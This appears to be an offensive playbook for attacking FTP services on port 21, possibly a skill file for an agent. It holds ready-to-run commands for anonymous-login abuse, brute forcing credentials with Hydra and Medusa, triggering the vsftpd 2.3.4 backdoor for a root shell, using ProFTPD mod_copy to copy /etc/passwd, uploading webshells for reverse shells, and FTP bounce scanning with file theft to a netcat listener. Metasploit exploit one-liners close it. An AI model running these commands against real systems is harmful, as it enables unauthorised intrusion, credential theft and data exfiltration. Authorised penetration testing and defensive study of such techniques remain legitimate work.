FTP Penetration Testing Methodology (21)
- 攻击大类:C09 Web应用漏洞利用
Further Reading
- Full FTP command reference, Bounce attack details, exploitation commands, configuration audit -> read references/ftp-commands.md
Overall Decision Tree
Port 21 found open
├─ Phase 1: Service Discovery and Version Identification
│ ├─ Banner grabbing (nc / openssl / nmap)
│ ├─ Identify the FTP software and version (vsftpd / ProFTPD / Pure-FTPd / FileZilla, etc.)
│ └─ Determine whether TLS/SSL is supported
│ ├─ Yes -> connect with lftp or openssl s_client
│ └─ No -> cleartext protocol, credentials can be sniffed directly
├─ Phase 2: Anonymous Access Testing
│ ├─ Login with anonymous:anonymous
│ │ ├─ Success -> go to Phase 3 to enumerate files
│ │ └─ Failure -> try anonymous:(empty) / ftp:ftp
│ └─ Still failing -> go to Phase 4 for credential attacks
├─ Phase 3: Directory Enumeration and File Download
│ ├─ List all files (including hidden files)
│ ├─ Recursive download (wget -m)
│ ├─ Identify high-value files (.conf / .bak / .sql / .txt / private keys)
│ └─ Check write permissions
│ ├─ Writable + web root -> webshell upload (Phase 5.3)
│ └─ Writable + non-web directory -> mark for later exploitation
├─ Phase 4: Credential Attacks
│ ├─ Default credential testing (SecLists ftp-betterdefaultpasslist.txt)
│ ├─ Hydra / Medusa brute force
│ └─ Nmap ftp-brute script
├─ Phase 5: Exploitation
│ ├─ 5.1 vsftpd 2.3.4 backdoor (port 6200)
│ ├─ 5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
│ ├─ 5.3 FTP root mapped to the web root (XAMPP/ProFTPD)
│ └─ 5.4 FileZilla Server admin port (14147)
└─ Phase 6: FTP Bounce Attacks
├─ Port scanning (judge by the PORT + LIST response)
├─ Protocol interaction (send requests to HTTP/other services through FTP)
└─ Cross-FTP file theft (Bounce download through a man-in-the-middle)
Phase 1: Service Discovery and Version Identification
1.1 Banner Grabbing
# Basic banner grab
nc -vn <IP> 21
# TLS scenario — obtain the certificate and banner
openssl s_client -connect <IP>:21 -starttls ftp
# Nmap service version probe + default scripts
sudo nmap -sV -sC -p 21 <IP>
1.2 FTP Feature Probing
After connecting, send HELP, FEAT, STAT to obtain the commands and feature information supported by the server.
Feature probing
├─ HELP -> list the supported FTP commands
├─ FEAT -> list the extended features (AUTH TLS / UTF8 / MLST, etc.)
├─ STAT -> server status, version, configuration information
└─ SYST -> operating system type (UNIX / Windows)
1.3 TLS/STARTTLS Connection
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <username> <password>
1.4 Full Set of Nmap FTP Scripts
nmap --script ftp-* -p 21 <IP>
Includes anonymous login detection, Bounce detection, version identification, etc.
Key Decision:
- vsftpd 2.3.4 -> a backdoor is present, go directly to Phase 5.1
- ProFTPD 1.3.3c-1.3.5 -> check mod_copy, go to Phase 5.2
- FTP root under the web directory -> webshell upload is possible, go to Phase 5.3
Phase 2: Anonymous Access Testing
2.1 Anonymous Login Attempts
Anonymous login credential combinations
├─ anonymous : anonymous
├─ anonymous : (empty)
├─ ftp : ftp
└─ anonymous : <any email address>
ftp <IP>
# Username: anonymous
# Password: anonymous
2.2 Basic Operations After Logging In
ls -a # list all files (including hidden ones)
binary # switch to binary transfer mode
ascii # switch to ASCII transfer mode
pwd # current directory
cd <dir> # change directory
bye # quit
2.3 Browser Connection
ftp://anonymous:anonymous@<IP>
Note: if a web application passes user input directly to the FTP server, double URL encoding %250d%250a can inject FTP commands (CRLF injection).
Phase 3: Directory Enumeration and File Download
3.1 Batch Download
# wget recursive mirror download
wget -m ftp://anonymous:anonymous@<IP>
# Use active mode when passive mode fails
wget -m --no-passive ftp://anonymous:anonymous@<IP>
# Credentials containing special characters
wget -r --user="USERNAME" --password="PASSWORD" ftp://<IP>/
3.2 High-Value Files of Interest
High-value file identification
├─ Configuration files: .conf / .cfg / .ini / .xml / web.config
├─ Backup files: .bak / .old / .sql / .tar.gz / .zip
├─ Credential files: .htpasswd / shadow / passwd / id_rsa
├─ Script files: .sh / .py / .php / .asp
└─ Hidden files: files starting with a dot (only visible with ls -a)
3.3 Write Permission Check
Try uploading a test file to determine write permissions:
# Inside the FTP client
put /tmp/test.txt test.txt
# Success -> writable, record the path
# Failure -> no write permission
-> For the detailed FTP command reference -> read references/ftp-commands.md
Phase 4: Credential Attacks
4.1 Attack Decision Tree
Credential attacks
├─ Default credentials
│ └─ SecLists: Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
├─ Brute force
│ ├─ Hydra (recommended, supports rate limiting)
│ │ └─ hydra -t 1 -l <user> -P <wordlist> -vV <IP> ftp
│ ├─ Medusa
│ │ └─ medusa -h <IP> -u <user> -P <wordlist> -M ftp
│ └─ Nmap scripts
│ └─ nmap --script ftp-brute -p 21 <IP>
└─ Metasploit
└─ auxiliary/scanner/ftp/ftp_login
4.2 Common Default Credentials
| Username | Common Password |
|---|---|
| anonymous | anonymous / (empty) |
| ftp | ftp |
| admin | admin / password |
| root | root / toor |
| user | user / password |
Phase 5: Exploitation
5.1 vsftpd 2.3.4 Backdoor
Condition: the vsftpd version is exactly 2.3.4 (a malicious backdoor was implanted)
vsftpd 2.3.4 backdoor exploitation
├─ Trigger: the username contains the ":)" characters
│ └─ Send USER user:) / PASS any
├─ Result: a root shell opens on port 6200
│ └─ nc <IP> 6200
└─ Metasploit:
└─ exploit/unix/ftp/vsftpd_234_backdoor
5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
Condition: ProFTPD 1.3.5 or earlier, with the mod_copy module enabled
mod_copy exploitation
├─ Copy files on the server without authentication
├─ SITE CPFR /etc/passwd # specify the source file
├─ SITE CPTO /var/www/passwd # copy to an accessible location
└─ Scenarios:
├─ Read sensitive files -> copy them to the web directory and download them over HTTP
└─ Write a webshell -> copy a PHP file into the web root
5.3 FTP Root Mapped to the Web Root
Condition: an environment such as XAMPP/ProFTPD, where the FTP root maps to /opt/lampp/htdocs or a similar web root
FTP -> webshell attack chain
├─ 1) Upload a PHP webshell over FTP (write permission required)
├─ 2) Access it over HTTP to trigger the webshell
├─ 3) Use the webshell to execute downloads / get a reverse shell
└─ If the current directory is not executable -> try /tmp or another writable path
5.4 FileZilla Server Admin Port
Condition: FileZilla Server is running and the admin port 14147 is reachable
FileZilla admin attack
├─ Port 14147 has an empty password by default
├─ Establish an SSH tunnel or port forward to localhost
├─ Connect to the admin interface and create a new FTP user
└─ Use the new user to access the FTP service
5.5 Other Known Vulnerabilities
FTP vulnerability quick reference
├─ ProFTPD
│ ├─ mod_copy (SITE CPFR/CPTO) — described above
│ ├─ CVE-2015-3306 — unauthenticated file copy
│ └─ searchsploit proftpd
├─ vsftpd
│ ├─ 2.3.4 backdoor — described above
│ └─ searchsploit vsftpd
├─ Pure-FTPd
│ └─ searchsploit pure-ftpd
├─ Wu-FTPd
│ └─ searchsploit wu-ftpd
└─ Generic: searchsploit ftp
-> For detailed exploitation commands -> read references/ftp-commands.md
Phase 6: FTP Bounce Attacks
6.1 Principle
The FTP PORT command allows the client to specify the target IP and port for the data connection. If the server does not restrict third-party addresses, an attacker can use the FTP server as a proxy:
FTP Bounce attack surface
├─ Port scanning — determine open/closed ports from the response code
│ ├─ 150 File status okay -> port open
│ └─ 425 No connection established -> port closed
├─ Protocol interaction — upload a file containing HTTP/FTP commands and send it via RETR
└─ Cross-FTP file theft — download files from an internal FTP through Bounce
6.2 Bounce Port Scanning
Manual method:
# 1. Connect to the FTP server
# 2. Point PORT at the target IP:Port
PORT 172,32,80,80,0,80 # scan 172.32.80.80:80
# or
EPRT |1|172.32.80.80|80| # IPv4; use |2|IPv6|port| for IPv6
# 3. LIST triggers the connection
# 150 -> port open; 425 -> port closed
Nmap Bounce scan:
nmap -b <user>:<pass>@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,80,443 -b ftp:ftp@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,22,445,80,443 -b ftp:ftp@<ftp_server> 192.168.0.1/24
6.3 Bounce Protocol Interaction
Send HTTP requests through FTP Bounce
├─ 1) Craft a text file containing the HTTP request (line terminator 0x0d 0x0a)
├─ 2) Upload it to the FTP server
├─ 3) REST X — skip the bytes that do not need to be sent (e.g. the file header)
├─ 4) Point PORT at the target HTTP server
├─ 5) RETR sends the request file
└─ Note: the "Socket not writable" error is common
├─ Countermeasure: repeat the request content up to ~0.5MB
├─ Countermeasure: pad with null bytes / junk data
└─ Countermeasure: repeat the RETR command
6.4 Cross-FTP File Theft
Bounce download from an intermediate FTP server
├─ Condition: both the intermediate server and the target server allow PORT to third-party addresses
├─ Flow:
│ ├─ 1) The attacker opens a TCP listener (nc -lvnp 2121 > loot.bin)
│ ├─ 2) Craft an instruction file containing FTP login + download commands
│ ├─ 3) Upload the instruction file to the intermediate FTP server
│ ├─ 4) Point PORT at the target FTP port, RETR triggers command execution
│ └─ 5) The target FTP sends the file to the attacker's listening port
└─ Quick Bounce feasibility check with Nmap:
└─ nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
-> For the complete Bounce attack steps and automation scripts -> read references/ftp-commands.md
Configuration File Audit
After obtaining access, check the FTP server configuration:
Common Configuration File Locations
FTP configuration files
├─ /etc/vsftpd.conf # vsftpd main configuration
├─ /etc/vsftpd/vsftpd.conf # CentOS/RHEL
├─ /etc/ftpusers # users forbidden from logging in over FTP
├─ /etc/proftpd/proftpd.conf # ProFTPD
└─ /etc/pure-ftpd/ # Pure-FTPd
Dangerous vsftpd Configurations
| Configuration Item | Risk Description |
|---|---|
anonymous_enable=YES |
Allows anonymous login |
anon_upload_enable=YES |
Anonymous users can upload files |
anon_mkdir_write_enable=YES |
Anonymous users can create directories |
no_anon_password=YES |
Anonymous login requires no password |
write_enable=YES |
Allows write commands such as STOR/DELE/RNFR |
chown_uploads=YES |
Ownership of anonymously uploaded files is changed |
local_enable=YES |
Allows local system users to log in |
Metasploit Quick Reference
# Anonymous login detection
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
# Version detection
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
# Directory traversal detection
msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS <IP>; set RPORT 21; run; exit'
# vsftpd backdoor exploitation
msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS <IP>; run; exit'